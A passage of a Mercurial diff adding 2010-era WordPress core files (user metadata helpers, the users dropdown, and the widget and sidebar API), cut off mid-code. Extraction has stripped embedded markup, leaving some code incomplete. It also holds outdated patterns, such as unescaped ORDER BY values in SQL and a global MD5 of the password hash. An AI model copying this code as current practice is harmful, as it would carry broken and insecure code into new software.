) + $id = (int) $blog_id; + $users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$wpdb->prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" ); + return $users; +} + +// +// User meta functions +// + +/** + * Remove user meta data. + * + * @since 2.0.0 + * @uses $wpdb WordPress database object for queries. + * + * @param int $user_id User ID. + * @param string $meta_key Metadata key. + * @param mixed $meta_value Metadata value. + * @return bool True deletion completed and false if user_id is not a number. + */ +function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) { + global $wpdb; + if ( !is_numeric( $user_id ) ) + return false; + $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); + + if ( is_array($meta_value) || is_object($meta_value) ) + $meta_value = serialize($meta_value); + $meta_value = trim( $meta_value ); + + $cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); + + if ( $cur && $cur->umeta_id ) + do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); + + if ( ! empty($meta_value) ) + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) ); + else + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); + + wp_cache_delete($user_id, 'users'); + + if ( $cur && $cur->umeta_id ) + do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); + + return true; +} + +/** + * Retrieve user metadata. + * + * If $user_id is not a number, then the function will fail over with a 'false' + * boolean return value. Other returned values depend on whether there is only + * one item to be returned, which be that single item type. If there is more + * than one metadata value, then it will be list of metadata values. + * + * @since 2.0.0 + * @uses $wpdb WordPress database object for queries. + * + * @param int $user_id User ID + * @param string $meta_key Optional. Metadata key. + * @return mixed + */ +function get_usermeta( $user_id, $meta_key = '') { + global $wpdb; + $user_id = (int) $user_id; + + if ( !$user_id ) + return false; + + if ( !empty($meta_key) ) { + $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); + $user = wp_cache_get($user_id, 'users'); + // Check the cached user object + if ( false !== $user && isset($user->$meta_key) ) + $metas = array($user->$meta_key); + else + $metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); + } else { + $metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) ); + } + + if ( empty($metas) ) { + if ( empty($meta_key) ) + return array(); + else + return ''; + } + + $metas = array_map('maybe_unserialize', $metas); + + if ( count($metas) == 1 ) + return $metas[0]; + else + return $metas; +} + +/** + * Update metadata of user. + * + * There is no need to serialize values, they will be serialized if it is + * needed. The metadata key can only be a string with underscores. All else will + * be removed. + * + * Will remove the metadata, if the meta value is empty. + * + * @since 2.0.0 + * @uses $wpdb WordPress database object for queries + * + * @param int $user_id User ID + * @param string $meta_key Metadata key. + * @param mixed $meta_value Metadata value. + * @return bool True on successful update, false on failure. + */ +function update_usermeta( $user_id, $meta_key, $meta_value ) { + global $wpdb; + if ( !is_numeric( $user_id ) ) + return false; + $meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key); + + /** @todo Might need fix because usermeta data is assumed to be already escaped */ + if ( is_string($meta_value) ) + $meta_value = stripslashes($meta_value); + $meta_value = maybe_serialize($meta_value); + + if (empty($meta_value)) { + return delete_usermeta($user_id, $meta_key); + } + + $cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) ); + + if ( $cur ) + do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); + + if ( !$cur ) + $wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') ); + else if ( $cur->meta_value != $meta_value ) + $wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') ); + else + return false; + + wp_cache_delete($user_id, 'users'); + + if ( !$cur ) + do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value ); + else + do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value ); + + return true; +} + +// +// Private helper functions +// + +/** + * Setup global user vars. + * + * Used by set_current_user() for back compat. Might be deprecated in the + * future. + * + * @since 2.0.4 + * @global string $userdata User description. + * @global string $user_login The user username for logging in + * @global int $user_level The level of the user + * @global int $user_ID The ID of the user + * @global string $user_email The email address of the user + * @global string $user_url The url in the user's profile + * @global string $user_pass_md5 MD5 of the user's password + * @global string $user_identity The display name of the user + * + * @param int $for_user_id Optional. User ID to setup global data. + */ +function setup_userdata($for_user_id = '') { + global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_pass_md5, $user_identity; + + if ( '' == $for_user_id ) + $user = wp_get_current_user(); + else + $user = new WP_User($for_user_id); + + if ( 0 == $user->ID ) + return; + + $userdata = $user->data; + $user_login = $user->user_login; + $user_level = (int) isset($user->user_level) ? $user->user_level : 0; + $user_ID = (int) $user->ID; + $user_email = $user->user_email; + $user_url = $user->user_url; + $user_pass_md5 = md5($user->user_pass); + $user_identity = $user->display_name; +} + +/** + * Create dropdown HTML content of users. + * + * The content can either be displayed, which it is by default or retrieved by + * setting the 'echo' argument. The 'include' and 'exclude' arguments do not + * need to be used; all users will be displayed in that case. Only one can be + * used, either 'include' or 'exclude', but not both. + * + * The available arguments are as follows: + *
      + *
    1. show_option_all - Text to show all and whether HTML option exists.
    2. + *
    3. show_option_none - Text for show none and whether HTML option exists. + *
    4. + *
    5. orderby - SQL order by clause for what order the users appear. Default is + * 'display_name'.
    6. + *
    7. order - Default is 'ASC'. Can also be 'DESC'.
    8. + *
    9. include - User IDs to include.
    10. + *
    11. exclude - User IDs to exclude.
    12. + *
    13. multi - Default is 'false'. Whether to skip the ID attribute on the 'select' element.
    14. + *
    15. show - Default is 'display_name'. User table column to display. If the selected item is empty then the user_login will be displayed in parentesis
    16. + *
    17. echo - Default is '1'. Whether to display or retrieve content.
    18. + *
    19. selected - Which User ID is selected.
    20. + *
    21. name - Default is 'user'. Name attribute of select element.
    22. + *
    23. class - Class attribute of select element.
    24. + *
    + * + * @since 2.3.0 + * @uses $wpdb WordPress database object for queries + * + * @param string|array $args Optional. Override defaults. + * @return string|null Null on display. String of HTML content on retrieve. + */ +function wp_dropdown_users( $args = '' ) { + global $wpdb; + $defaults = array( + 'show_option_all' => '', 'show_option_none' => '', + 'orderby' => 'display_name', 'order' => 'ASC', + 'include' => '', 'exclude' => '', 'multi' => 0, + 'show' => 'display_name', 'echo' => 1, + 'selected' => 0, 'name' => 'user', 'class' => '' + ); + + $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0; + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $query = "SELECT * FROM $wpdb->users"; + + $query_where = array(); + + if ( is_array($include) ) + $include = join(',', $include); + $include = preg_replace('/[^0-9,]/', '', $include); // (int) + if ( $include ) + $query_where[] = "ID IN ($include)"; + + if ( is_array($exclude) ) + $exclude = join(',', $exclude); + $exclude = preg_replace('/[^0-9,]/', '', $exclude); // (int) + if ( $exclude ) + $query_where[] = "ID NOT IN ($exclude)"; + + if ( $query_where ) + $query .= " WHERE " . join(' AND', $query_where); + + $query .= " ORDER BY $orderby $order"; + + $users = $wpdb->get_results( $query ); + + $output = ''; + if ( !empty($users) ) { + $id = $multi ? "" : "id='$name'"; + + $output = ""; + } + + $output = apply_filters('wp_dropdown_users', $output); + + if ( $echo ) + echo $output; + + return $output; +} + +/** + * Add user meta data as properties to given user object. + * + * The finished user data is cached, but the cache is not used to fill in the + * user data for the given object. Once the function has been used, the cache + * should be used to retrieve user data. The purpose seems then to be to ensure + * that the data in the object is always fresh. + * + * @access private + * @since 2.5.0 + * @uses $wpdb WordPress database object for queries + * + * @param object $user The user data object. + */ +function _fill_user( &$user ) { + global $wpdb; + + $show = $wpdb->hide_errors(); + $metavalues = $wpdb->get_results($wpdb->prepare("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user->ID)); + $wpdb->show_errors($show); + + if ( $metavalues ) { + foreach ( (array) $metavalues as $meta ) { + $value = maybe_unserialize($meta->meta_value); + $user->{$meta->meta_key} = $value; + } + } + + $level = $wpdb->prefix . 'user_level'; + if ( isset( $user->{$level} ) ) + $user->user_level = $user->{$level}; + + // For backwards compat. + if ( isset($user->first_name) ) + $user->user_firstname = $user->first_name; + if ( isset($user->last_name) ) + $user->user_lastname = $user->last_name; + if ( isset($user->description) ) + $user->user_description = $user->description; + + wp_cache_add($user->ID, $user, 'users'); + wp_cache_add($user->user_login, $user->ID, 'userlogins'); + wp_cache_add($user->user_email, $user->ID, 'useremail'); + wp_cache_add($user->user_nicename, $user->ID, 'userslugs'); +} + +/** + * Sanitize every user field. + * + * If the context is 'raw', then the user object or array will get minimal santization of the int fields. + * + * @since 2.3.0 + * @uses sanitize_user_field() Used to sanitize the fields. + * + * @param object|array $user The User Object or Array + * @param string $context Optional, default is 'display'. How to sanitize user fields. + * @return object|array The now sanitized User Object or Array (will be the same type as $user) + */ +function sanitize_user_object($user, $context = 'display') { + if ( is_object($user) ) { + if ( !isset($user->ID) ) + $user->ID = 0; + if ( isset($user->data) ) + $vars = get_object_vars( $user->data ); + else + $vars = get_object_vars($user); + foreach ( array_keys($vars) as $field ) { + if ( is_string($user->$field) || is_numeric($user->$field) ) + $user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context); + } + $user->filter = $context; + } else { + if ( !isset($user['ID']) ) + $user['ID'] = 0; + foreach ( array_keys($user) as $field ) + $user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context); + $user['filter'] = $context; + } + + return $user; +} + +/** + * Sanitize user field based on context. + * + * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The + * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display' + * when calling filters. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'edit_$field' and '${field_no_prefix}_edit_pre' passing $value and + * $user_id if $context == 'edit' and field name prefix == 'user_'. + * + * @uses apply_filters() Calls 'edit_user_$field' passing $value and $user_id if $context == 'db'. + * @uses apply_filters() Calls 'pre_$field' passing $value if $context == 'db' and field name prefix == 'user_'. + * @uses apply_filters() Calls '${field}_pre' passing $value if $context == 'db' and field name prefix != 'user_'. + * + * @uses apply_filters() Calls '$field' passing $value, $user_id and $context if $context == anything + * other than 'raw', 'edit' and 'db' and field name prefix == 'user_'. + * @uses apply_filters() Calls 'user_$field' passing $value if $context == anything other than 'raw', + * 'edit' and 'db' and field name prefix != 'user_'. + * + * @param string $field The user Object field name. + * @param mixed $value The user Object value. + * @param int $user_id user ID. + * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display', + * 'attribute' and 'js'. + * @return mixed Sanitized value. + */ +function sanitize_user_field($field, $value, $user_id, $context) { + $int_fields = array('ID'); + if ( in_array($field, $int_fields) ) + $value = (int) $value; + + if ( 'raw' == $context ) + return $value; + + if ( !is_string($value) && !is_numeric($value) ) + return $value; + + $prefixed = false; + if ( false !== strpos($field, 'user_') ) { + $prefixed = true; + $field_no_prefix = str_replace('user_', '', $field); + } + + if ( 'edit' == $context ) { + if ( $prefixed ) { + $value = apply_filters("edit_$field", $value, $user_id); + } else { + $value = apply_filters("edit_user_$field", $value, $user_id); + } + + if ( 'description' == $field ) + $value = esc_html($value); + else + $value = esc_attr($value); + } else if ( 'db' == $context ) { + if ( $prefixed ) { + $value = apply_filters("pre_$field", $value); + } else { + $value = apply_filters("pre_user_$field", $value); + } + } else { + // Use display filters by default. + if ( $prefixed ) + $value = apply_filters($field, $value, $user_id, $context); + else + $value = apply_filters("user_$field", $value, $user_id, $context); + } + + if ( 'user_url' == $field ) + $value = esc_url($value); + + if ( 'attribute' == $context ) + $value = esc_attr($value); + else if ( 'js' == $context ) + $value = esc_js($value); + + return $value; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/vars.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/vars.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,86 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/version.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/version.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,46 @@ +' . __('There are no options for this widget.') . '

    '; + return 'noform'; + } + + // Functions you'll need to call. + + /** + * PHP4 constructor + */ + function WP_Widget( $id_base = false, $name, $widget_options = array(), $control_options = array() ) { + $this->__construct( $id_base, $name, $widget_options, $control_options ); + } + + /** + * PHP5 constructor + * + * @param string $id_base Optional Base ID for the widget, lower case, + * if left empty a portion of the widget's class name will be used. Has to be unique. + * @param string $name Name for the widget displayed on the configuration page. + * @param array $widget_options Optional Passed to wp_register_sidebar_widget() + * - description: shown on the configuration page + * - classname + * @param array $control_options Optional Passed to wp_register_widget_control() + * - width: required if more than 250px + * - height: currently not used but may be needed in the future + */ + function __construct( $id_base = false, $name, $widget_options = array(), $control_options = array() ) { + $this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base); + $this->name = $name; + $this->option_name = 'widget_' . $this->id_base; + $this->widget_options = wp_parse_args( $widget_options, array('classname' => $this->option_name) ); + $this->control_options = wp_parse_args( $control_options, array('id_base' => $this->id_base) ); + } + + /** + * Constructs name attributes for use in form() fields + * + * This function should be used in form() methods to create name attributes for fields to be saved by update() + * + * @param string $field_name Field name + * @return string Name attribute for $field_name + */ + function get_field_name($field_name) { + return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; + } + + /** + * Constructs id attributes for use in form() fields + * + * This function should be used in form() methods to create id attributes for fields to be saved by update() + * + * @param string $field_name Field name + * @return string ID attribute for $field_name + */ + function get_field_id($field_name) { + return 'widget-' . $this->id_base . '-' . $this->number . '-' . $field_name; + } + + // Private Functions. Don't worry about these. + + function _register() { + $settings = $this->get_settings(); + $empty = true; + + if ( is_array($settings) ) { + foreach ( array_keys($settings) as $number ) { + if ( is_numeric($number) ) { + $this->_set($number); + $this->_register_one($number); + $empty = false; + } + } + } + + if ( $empty ) { + // If there are none, we register the widget's existance with a + // generic template + $this->_set(1); + $this->_register_one(); + } + } + + function _set($number) { + $this->number = $number; + $this->id = $this->id_base . '-' . $number; + } + + function _get_display_callback() { + return array(&$this, 'display_callback'); + } + + function _get_update_callback() { + return array(&$this, 'update_callback'); + } + + function _get_form_callback() { + return array(&$this, 'form_callback'); + } + + /** Generate the actual widget content. + * Just finds the instance and calls widget(). + * Do NOT over-ride this function. */ + function display_callback( $args, $widget_args = 1 ) { + if ( is_numeric($widget_args) ) + $widget_args = array( 'number' => $widget_args ); + + $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); + $this->_set( $widget_args['number'] ); + $instance = $this->get_settings(); + + if ( array_key_exists( $this->number, $instance ) ) { + $instance = $instance[$this->number]; + // filters the widget's settings, return false to stop displaying the widget + $instance = apply_filters('widget_display_callback', $instance, $this, $args); + if ( false !== $instance ) + $this->widget($args, $instance); + } + } + + /** Deal with changed settings. + * Do NOT over-ride this function. */ + function update_callback( $widget_args = 1 ) { + global $wp_registered_widgets; + + if ( is_numeric($widget_args) ) + $widget_args = array( 'number' => $widget_args ); + + $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); + $all_instances = $this->get_settings(); + + // We need to update the data + if ( $this->updated ) + return; + + $sidebars_widgets = wp_get_sidebars_widgets(); + + if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) { + // Delete the settings for this instance of the widget + if ( isset($_POST['the-widget-id']) ) + $del_id = $_POST['the-widget-id']; + else + return; + + if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) { + $number = $wp_registered_widgets[$del_id]['params'][0]['number']; + + if ( $this->id_base . '-' . $number == $del_id ) + unset($all_instances[$number]); + } + } else { + if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) { + $settings = $_POST['widget-' . $this->id_base]; + } elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) { + $num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number']; + $settings = array( $num => array() ); + } else { + return; + } + + foreach ( $settings as $number => $new_instance ) { + $new_instance = stripslashes_deep($new_instance); + $this->_set($number); + + $old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array(); + + $instance = $this->update($new_instance, $old_instance); + + // filters the widget's settings before saving, return false to cancel saving (keep the old settings if updating) + $instance = apply_filters('widget_update_callback', $instance, $new_instance, $old_instance, $this); + if ( false !== $instance ) + $all_instances[$number] = $instance; + + break; // run only once + } + } + + $this->save_settings($all_instances); + $this->updated = true; + } + + /** Generate the control form. + * Do NOT over-ride this function. */ + function form_callback( $widget_args = 1 ) { + if ( is_numeric($widget_args) ) + $widget_args = array( 'number' => $widget_args ); + + $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); + $all_instances = $this->get_settings(); + + if ( -1 == $widget_args['number'] ) { + // We echo out a form where 'number' can be set later + $this->_set('__i__'); + $instance = array(); + } else { + $this->_set($widget_args['number']); + $instance = $all_instances[ $widget_args['number'] ]; + } + + // filters the widget admin form before displaying, return false to stop displaying it + $instance = apply_filters('widget_form_callback', $instance, $this); + + $return = null; + if ( false !== $instance ) { + $return = $this->form($instance); + // add extra fields in the widget form - be sure to set $return to null if you add any + // if the widget has no form the text echoed from the default form method can be hidden using css + do_action_ref_array( 'in_widget_form', array(&$this, &$return, $instance) ); + } + return $return; + } + + /** Helper function: Registers a single instance. */ + function _register_one($number = -1) { + wp_register_sidebar_widget( $this->id, $this->name, $this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) ); + _register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) ); + _register_widget_form_callback( $this->id, $this->name, $this->_get_form_callback(), $this->control_options, array( 'number' => $number ) ); + } + + function save_settings($settings) { + $settings['_multiwidget'] = 1; + update_option( $this->option_name, $settings ); + } + + function get_settings() { + $settings = get_option($this->option_name); + + if ( false === $settings && isset($this->alt_option_name) ) + $settings = get_option($this->alt_option_name); + + if ( !is_array($settings) ) + $settings = array(); + + if ( !array_key_exists('_multiwidget', $settings) ) { + // old format, conver if single widget + $settings = wp_convert_widget_settings($this->id_base, $this->option_name, $settings); + } + + unset($settings['_multiwidget'], $settings['__i__']); + return $settings; + } +} + +/** + * Singleton that registers and instantiates WP_Widget classes. + * + * @package WordPress + * @subpackage Widgets + * @since 2.8 + */ +class WP_Widget_Factory { + var $widgets = array(); + + function WP_Widget_Factory() { + add_action( 'widgets_init', array( &$this, '_register_widgets' ), 100 ); + } + + function register($widget_class) { + $this->widgets[$widget_class] = & new $widget_class(); + } + + function unregister($widget_class) { + if ( isset($this->widgets[$widget_class]) ) + unset($this->widgets[$widget_class]); + } + + function _register_widgets() { + global $wp_registered_widgets; + $keys = array_keys($this->widgets); + $registered = array_keys($wp_registered_widgets); + $registered = array_map('_get_widget_id_base', $registered); + + foreach ( $keys as $key ) { + // don't register new widget if old widget with the same id is already registered + if ( in_array($this->widgets[$key]->id_base, $registered, true) ) { + unset($this->widgets[$key]); + continue; + } + + $this->widgets[$key]->_register(); + } + } +} + +/* Global Variables */ + +/** @ignore */ +global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates; + +/** + * Stores the sidebars, since many themes can have more than one. + * + * @global array $wp_registered_sidebars + * @since 2.2.0 + */ +$wp_registered_sidebars = array(); + +/** + * Stores the registered widgets. + * + * @global array $wp_registered_widgets + * @since 2.2.0 + */ +$wp_registered_widgets = array(); + +/** + * Stores the registered widget control (options). + * + * @global array $wp_registered_widget_controls + * @since 2.2.0 + */ +$wp_registered_widget_controls = array(); +$wp_registered_widget_updates = array(); + +/** + * Private + */ +$_wp_sidebars_widgets = array(); + +/** + * Private + */ + $_wp_deprecated_widgets_callbacks = array( + 'wp_widget_pages', + 'wp_widget_pages_control', + 'wp_widget_calendar', + 'wp_widget_calendar_control', + 'wp_widget_archives', + 'wp_widget_archives_control', + 'wp_widget_links', + 'wp_widget_meta', + 'wp_widget_meta_control', + 'wp_widget_search', + 'wp_widget_recent_entries', + 'wp_widget_recent_entries_control', + 'wp_widget_tag_cloud', + 'wp_widget_tag_cloud_control', + 'wp_widget_categories', + 'wp_widget_categories_control', + 'wp_widget_text', + 'wp_widget_text_control', + 'wp_widget_rss', + 'wp_widget_rss_control', + 'wp_widget_recent_comments', + 'wp_widget_recent_comments_control' + ); + +/* Template tags & API functions */ + +/** + * Register a widget + * + * Registers a WP_Widget widget + * + * @since 2.8.0 + * + * @see WP_Widget + * @see WP_Widget_Factory + * @uses WP_Widget_Factory + * + * @param string $widget_class The name of a class that extends WP_Widget + */ +function register_widget($widget_class) { + global $wp_widget_factory; + + $wp_widget_factory->register($widget_class); +} + +/** + * Unregister a widget + * + * Unregisters a WP_Widget widget. Useful for unregistering default widgets. + * Run within a function hooked to the widgets_init action. + * + * @since 2.8.0 + * + * @see WP_Widget + * @see WP_Widget_Factory + * @uses WP_Widget_Factory + * + * @param string $widget_class The name of a class that extends WP_Widget + */ +function unregister_widget($widget_class) { + global $wp_widget_factory; + + $wp_widget_factory->unregister($widget_class); +} + +/** + * Creates multiple sidebars. + * + * If you wanted to quickly create multiple sidebars for a theme or internally. + * This function will allow you to do so. If you don't pass the 'name' and/or + * 'id' in $args, then they will be built for you. + * + * The default for the name is "Sidebar #", with '#' being replaced with the + * number the sidebar is currently when greater than one. If first sidebar, the + * name will be just "Sidebar". The default for id is "sidebar-" followed by the + * number the sidebar creation is currently at. + * + * @since 2.2.0 + * + * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here. + * @uses parse_str() Converts a string to an array to be used in the rest of the function. + * @uses register_sidebar() Sends single sidebar information [name, id] to this + * function to handle building the sidebar. + * + * @param int $number Number of sidebars to create. + * @param string|array $args Builds Sidebar based off of 'name' and 'id' values. + */ +function register_sidebars($number = 1, $args = array()) { + global $wp_registered_sidebars; + $number = (int) $number; + + if ( is_string($args) ) + parse_str($args, $args); + + for ( $i=1; $i <= $number; $i++ ) { + $_args = $args; + + if ( $number > 1 ) { + $_args['name'] = isset($args['name']) ? sprintf($args['name'], $i) : sprintf(__('Sidebar %d'), $i); + } else { + $_args['name'] = isset($args['name']) ? $args['name'] : __('Sidebar'); + } + + if (isset($args['id'])) { + $_args['id'] = $args['id']; + } else { + $n = count($wp_registered_sidebars); + do { + $n++; + $_args['id'] = "sidebar-$n"; + } while (isset($wp_registered_sidebars[$_args['id']])); + } + + register_sidebar($_args); + } +} + +/** + * Builds the definition for a single sidebar and returns the ID. + * + * The $args parameter takes either a string or an array with 'name' and 'id' + * contained in either usage. It will be noted that the values will be applied + * to all sidebars, so if creating more than one, it will be advised to allow + * for WordPress to create the defaults for you. + * + * Example for string would be 'name=whatever;id=whatever1' and for + * the array it would be array( + * 'name' => 'whatever', + * 'id' => 'whatever1'). + * + * name - The name of the sidebar, which presumably the title which will be + * displayed. + * id - The unique identifier by which the sidebar will be called by. + * before_widget - The content that will prepended to the widgets when they are + * displayed. + * after_widget - The content that will be appended to the widgets when they are + * displayed. + * before_title - The content that will be prepended to the title when displayed. + * after_title - the content that will be appended to the title when displayed. + * + * Content is assumed to be HTML and should be formatted as such, but + * doesn't have to be. + * + * @since 2.2.0 + * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID. + * @uses parse_str() Converts a string to an array to be used in the rest of the function. + * @usedby register_sidebars() + * + * @param string|array $args Builds Sidebar based off of 'name' and 'id' values + * @return string The sidebar id that was added. + */ +function register_sidebar($args = array()) { + global $wp_registered_sidebars; + + if ( is_string($args) ) + parse_str($args, $args); + + $i = count($wp_registered_sidebars) + 1; + + $defaults = array( + 'name' => sprintf(__('Sidebar %d'), $i ), + 'id' => "sidebar-$i", + 'description' => '', + 'before_widget' => '
  • ', + 'after_widget' => "
  • \n", + 'before_title' => '

    ', + 'after_title' => "

    \n", + ); + + $sidebar = array_merge($defaults, (array) $args); + + $wp_registered_sidebars[$sidebar['id']] = $sidebar; + + return $sidebar['id']; +} + +/** + * Removes a sidebar from the list. + * + * @since 2.2.0 + * + * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID. + * + * @param string $name The ID of the sidebar when it was added. + */ +function unregister_sidebar( $name ) { + global $wp_registered_sidebars; + + if ( isset( $wp_registered_sidebars[$name] ) ) + unset( $wp_registered_sidebars[$name] ); +} + +/** + * Register widget for use in sidebars. + * + * The default widget option is 'classname' that can be override. + * + * The function can also be used to unregister widgets when $output_callback + * parameter is an empty string. + * + * @since 2.2.0 + * + * @uses $wp_registered_widgets Uses stored registered widgets. + * @uses $wp_register_widget_defaults Retrieves widget defaults. + * + * @param int|string $id Widget ID. + * @param string $name Widget display title. + * @param callback $output_callback Run when widget is called. + * @param array|string Optional. $options Widget Options. + * @param mixed $params,... Widget parameters to add to widget. + * @return null Will return if $output_callback is empty after removing widget. + */ +function wp_register_sidebar_widget($id, $name, $output_callback, $options = array()) { + global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks; + + $id = strtolower($id); + + if ( empty($output_callback) ) { + unset($wp_registered_widgets[$id]); + return; + } + + $id_base = _get_widget_id_base($id); + if ( in_array($output_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($output_callback) ) { + if ( isset($wp_registered_widget_controls[$id]) ) + unset($wp_registered_widget_controls[$id]); + + if ( isset($wp_registered_widget_updates[$id_base]) ) + unset($wp_registered_widget_updates[$id_base]); + + return; + } + + $defaults = array('classname' => $output_callback); + $options = wp_parse_args($options, $defaults); + $widget = array( + 'name' => $name, + 'id' => $id, + 'callback' => $output_callback, + 'params' => array_slice(func_get_args(), 4) + ); + $widget = array_merge($widget, $options); + + if ( is_callable($output_callback) && ( !isset($wp_registered_widgets[$id]) || did_action( 'widgets_init' ) ) ) + $wp_registered_widgets[$id] = $widget; +} + +/** + * Retrieve description for widget. + * + * When registering widgets, the options can also include 'description' that + * describes the widget for display on the widget administration panel or + * in the theme. + * + * @since 2.5.0 + * + * @param int|string $id Widget ID. + * @return string Widget description, if available. Null on failure to retrieve description. + */ +function wp_widget_description( $id ) { + if ( !is_scalar($id) ) + return; + + global $wp_registered_widgets; + + if ( isset($wp_registered_widgets[$id]['description']) ) + return esc_html( $wp_registered_widgets[$id]['description'] ); +} + +/** + * Retrieve description for a sidebar. + * + * When registering sidebars a 'description' parameter can be included that + * describes the sidebar for display on the widget administration panel. + * + * @since 2.9.0 + * + * @param int|string $id sidebar ID. + * @return string Sidebar description, if available. Null on failure to retrieve description. + */ +function wp_sidebar_description( $id ) { + if ( !is_scalar($id) ) + return; + + global $wp_registered_sidebars; + + if ( isset($wp_registered_sidebars[$id]['description']) ) + return esc_html( $wp_registered_sidebars[$id]['description'] ); +} + + +/** + * Remove widget from sidebar. + * + * @since 2.2.0 + * + * @param int|string $id Widget ID. + */ +function wp_unregister_sidebar_widget($id) { + wp_register_sidebar_widget($id, '', ''); + wp_unregister_widget_control($id); +} + +/** + * Registers widget control callback for customizing options. + * + * The options contains the 'height', 'width', and 'id_base' keys. The 'height' + * option is never used. The 'width' option is the width of the fully expanded + * control form, but try hard to use the default width. The 'id_base' is for + * multi-widgets (widgets which allow multiple instances such as the text + * widget), an id_base must be provided. The widget id will end up looking like + * {$id_base}-{$unique_number}. + * + * @since 2.2.0 + * + * @param int|string $id Sidebar ID. + * @param string $name Sidebar display name. + * @param callback $control_callback Run when sidebar is displayed. + * @param array|string $options Optional. Widget options. See above long description. + * @param mixed $params,... Optional. Additional parameters to add to widget. + */ +function wp_register_widget_control($id, $name, $control_callback, $options = array()) { + global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks; + + $id = strtolower($id); + $id_base = _get_widget_id_base($id); + + if ( empty($control_callback) ) { + unset($wp_registered_widget_controls[$id]); + unset($wp_registered_widget_updates[$id_base]); + return; + } + + if ( in_array($control_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($control_callback) ) { + if ( isset($wp_registered_widgets[$id]) ) + unset($wp_registered_widgets[$id]); + + return; + } + + if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) ) + return; + + $defaults = array('width' => 250, 'height' => 200 ); // height is never used + $options = wp_parse_args($options, $defaults); + $options['width'] = (int) $options['width']; + $options['height'] = (int) $options['height']; + + $widget = array( + 'name' => $name, + 'id' => $id, + 'callback' => $control_callback, + 'params' => array_slice(func_get_args(), 4) + ); + $widget = array_merge($widget, $options); + + $wp_registered_widget_controls[$id] = $widget; + + if ( isset($wp_registered_widget_updates[$id_base]) ) + return; + + if ( isset($widget['params'][0]['number']) ) + $widget['params'][0]['number'] = -1; + + unset($widget['width'], $widget['height'], $widget['name'], $widget['id']); + $wp_registered_widget_updates[$id_base] = $widget; +} + +function _register_widget_update_callback($id_base, $update_callback, $options = array()) { + global $wp_registered_widget_updates; + + if ( isset($wp_registered_widget_updates[$id_base]) ) { + if ( empty($update_callback) ) + unset($wp_registered_widget_updates[$id_base]); + return; + } + + $widget = array( + 'callback' => 